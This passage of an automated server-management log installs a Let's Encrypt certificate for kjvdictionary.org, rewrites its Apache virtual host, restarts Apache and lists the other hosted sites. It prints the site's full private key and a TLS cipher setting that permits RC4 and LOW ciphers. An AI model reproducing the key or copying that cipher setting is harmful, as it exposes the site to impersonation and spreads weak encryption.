Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-21 06:00:01: Establishing a connection
2025-11-21 06:00:02: Establishing a connection
2025-11-21 06:00:02: 

PUT: /tmp/pkp823076

#!/bin/bash
if [ -d "/var/www/kjvdictionary_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-21 06:00:04: 

chmod 755 /tmp/pkp823076; /tmp/pkp823076; rm /tmp/pkp823076

2025-11-21 06:00:04: 


1


2025-11-21 06:00:05: Establishing a connection
2025-11-21 06:00:05: 

PUT: /tmp/pkp145817

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cat > uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs
cat > qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g


2025-11-21 06:00:05: 

chmod 755 /tmp/pkp145817; /tmp/pkp145817; rm /tmp/pkp145817

2025-11-21 06:00:05: 




2025-11-21 06:00:16: Establishing a connection
2025-11-21 06:00:16: 

PUT: /tmp/pkp497814

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_www/.well-known/acme-challenge/"
rm uppILwFH57-A69olBXCEIlgyYz_QFHeAaOIy9amVzPs
rm qd7Hl44dnK1AkSarKcZ2uqdQWN99s0RkbPZy8dtUs3g


2025-11-21 06:00:16: 

chmod 755 /tmp/pkp497814; /tmp/pkp497814; rm /tmp/pkp497814

2025-11-21 06:00:16: 




2025-11-21 06:00:16: Establishing a connection
2025-11-21 06:00:16: 

PUT: /tmp/pkp361604

#!/bin/bash
temp_file=$(mktemp)
TARGET=00f32caf8ea0fbe0d1b245ad2ff4822f.crt

cat > $temp_file <<'endmsg'
d7:59:cc:d7:ba:f0:53:c1:ab:4a:f5:73:6c:26:9b:e4

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBhupW4GcJUOs+Cv+5h2cKblUMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTIxMDUwMTQ1WhcNMjYwMjE5MDUwMTQ0WjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBANEVPl+Vd9MAZSqfplzNlwAGVx+6vDcS8KNWThR8MCqjsgvOXPa+TM1R3s8m
gDFmZiwheL+7CHtETx9cRdQwNaQseQVJsGVVVO6HNH0ZsVoqwcZtg59RRRWRphv7
heAEQjLGZAXrLIhIOE4oqs9dL+JmJclyRkpJyInheCHS2/mRc66h6jYWn1meRnyZ
e/IPs7xHx6cm9nEG3+LD2CbcYLoGeDFhnl+6JCzMYzHCZqY9O+3KQm5iLDNyRiYu
eVMdAfDuRz2gciXNbIOGaNwRzhEnVxpM1KhwYBYFJCqX46wTIRlRaZIAItioxklL
ZujcwHPjy/P/TxC3lhsYYVIcR+0CAwEAAaOCAjgwggI0MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQU37vSDfV5nUOsTuNjy5gJ5YJz+qowHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvODUuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIxD67O
XXBBLSVMx9QAAAGapP+/cAAABAMARzBFAiB71G/S9ttepA0BKYQHJhp4QdfQQ33I
VGgjENnCg+x3LQIhAMCrY6VsCbekyOqpg/VbHJ+M/A70rST+tVSx0QJAgtK+AHYA
lpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGapP+/uAAABAMARzBF
AiARFgjTiqxiEnosIh71nNvxC1EXbGuBTGmi8wxjDsBZ+gIhAMwrRI8+IsqyCGI1
vrEpcNiVwTLpu/3TLCAQobPtXd8nMA0GCSqGSIb3DQEBCwUAA4IBAQAM8VKi0arz
XWC85xSL3GxJpdn9uSj5oNzijursl0VdhfEtB6Kj9rI0B0xd3+GpZ3RO8HTfMRy6
WxGajIn9lMwnW2gVFj30yfnoIbsgMNB16/39QgmLBi69kTRg8/Pfl9Sp9tR3u9Hz
P/Vei0qZsnL8s6+dMsZ/zj0oyH8iECfm/0DOmFa3po+zrWuJ63ZtTIGdxwYFP1q/
1XbwAe4ahak41xnLfmyZs3BlwhG6Qf7RgFpKg/gLUSbsQ6tqsWRF7rK1KXodOyRK
VCCuQ8VEA1cE/1Rk4j/jpDA64lsRTfd0Ii/tycnUry2OwHmjySKBLZzfdFrpBkRj
WWS9+51C8aYG
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRFT5flXfTAGUq
n6ZczZcABlcfurw3EvCjVk4UfDAqo7ILzlz2vkzNUd7PJoAxZmYsIXi/uwh7RE8f
XEXUMDWkLHkFSbBlVVTuhzR9GbFaKsHGbYOfUUUVkaYb+4XgBEIyxmQF6yyISDhO
KKrPXS/iZiXJckZKSciJ4Xgh0tv5kXOuoeo2Fp9ZnkZ8mXvyD7O8R8enJvZxBt/i
w9gm3GC6BngxYZ5fuiQszGMxwmamPTvtykJuYiwzckYmLnlTHQHw7kc9oHIlzWyD
hmjcEc4RJ1caTNSocGAWBSQql+OsEyEZUWmSACLYqMZJS2bo3MBz48vz/08Qt5Yb
GGFSHEftAgMBAAECggEBAJlD8lIM9iZFbuN83m2/A0awXyNSNnBEwQNq25empYRM
NNL0ti7lttT3g9XkCiqsPo9xBdu+VexOWZXKhSGTKW8sbpZSuyy9DaJAmFhwAhLv
rtYvJ0IdSAAUoWh3y144oPIpfd7c0usfza51nyiczeIvMNnnm+EPDyMLlY1tzXS2
N7ha79ZUWGYKocWm2RFuB44e0U57CLd0C/gUisJ7w7l8UPoVIBN/jdi8xFguu1Lp
Dm0jzXASG9PckKFP6E75e9XbEbsWxHfvceLLnj8CjFU/QMoTE9/MwuVudRALeckA
pNg+2VBnwufUGtG/XpYyu7WOG5B649VTkumR55V1SyECgYEA+Nvw2LuLz3s659ac
QYeKfah/bvMxALoqLLRiO968FJ1LPkFqQTMlaDEuv2aBbBrGccwrAu4k4M2UD5rj
rFPVIQJgB+2SBXnIBJ+6NSvMm9GCk7jsVD9MznQCA+RfYWIjtA7b9PznW8otYZsd
GajHM+G5eVfdfrpgGlF2E+QXt8UCgYEA1xUd5EHZLbIh6XYubimT9h135UZPAg75
itjR1IQoTM8Ymv0EEn+khugalVT4b276ytgnJnTSgD5dGXG84aAi8Mcg5chzwkvh
M/m+hc/46bbd3GRVy93tLJ6UHp1HjZE6C7H8lx9JpWsMV+W+OZxZrvNidJf+mXyq
Bmz/2o4mqgkCgYAwXYaMiL6eX2POZQ5PSglnbJT/ujH+4y+JKrGg0yQYmY1jFxGQ
hGEzw8NDHafvm7CPs090rVXrfujUs5SmDFDyrmR9hfWILOfrxiNJbC7C5dAL57e+
k+LYiQFPQlYrNgicWPr0vSY117BENQJN11iHw8npRGNe2tgMpWJecUkOxQKBgBU2
v/wDgqg/KZkdTvcOosljnq++f4x0baiEOi372v24b3TZ/8zTSicEPZr9BoP3LkVT
jIj+fMSpYgVgcoDOiqO1AEmpu8EuOsglmeUY3jQvFTLnso6pFPuRqIpcePI9oLwG
kiNVsq3eIRmKT3jfMvlOiCd31mTNJvf7SEEGREoBAoGBAIeo20m+zcY8ZlhqYOrs
LW4WywJuihYQ+FwBUonaIw83UdYi0tltHelEq1YKS8f+RR234jIG8a4x5xIXBxd7
QdItOe/DaA5x1KcEgGfBjazmzkwXpn4KWvdkOMowRN4oWJNIK7Y2ew5Vd+80UqfH
96lgZOu1seYnmpz6P64+iIt+
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-21 06:00:16: 

chmod 755 /tmp/pkp361604; /tmp/pkp361604; rm /tmp/pkp361604

2025-11-21 06:00:16: 


dir=/etc/ssl/certs


2025-11-21 06:00:16: 

PUT: /tmp/pkp192379

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-21 06:00:16: 

chmod 755 /tmp/pkp192379; /tmp/pkp192379; rm /tmp/pkp192379

2025-11-21 06:00:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-21 06:00:16: 

PUT: /tmp/pkp478355

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi


2025-11-21 06:00:16: 

chmod 755 /tmp/pkp478355; /tmp/pkp478355; rm /tmp/pkp478355

2025-11-21 06:00:16: 




2025-11-21 06:00:16: 

PUT: /tmp/pkp468252

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-21 06:00:16: 

chmod 755 /tmp/pkp468252; /tmp/pkp468252; rm /tmp/pkp468252

2025-11-21 06:00:16: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-21 06:00:16: Establishing a connection
2025-11-21 06:00:16: 

PUT: /tmp/pkp982973

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-21 06:00:16: 

chmod 755 /tmp/pkp982973; /tmp/pkp982973; rm /tmp/pkp982973

2025-11-21 06:00:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-21 06:00:16: 

PUT: /tmp/pkp879992

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-21 06:00:16: 

chmod 755 /tmp/pkp879992; /tmp/pkp879992; rm /tmp/pkp879992

2025-11-21 06:00:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf	1458

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
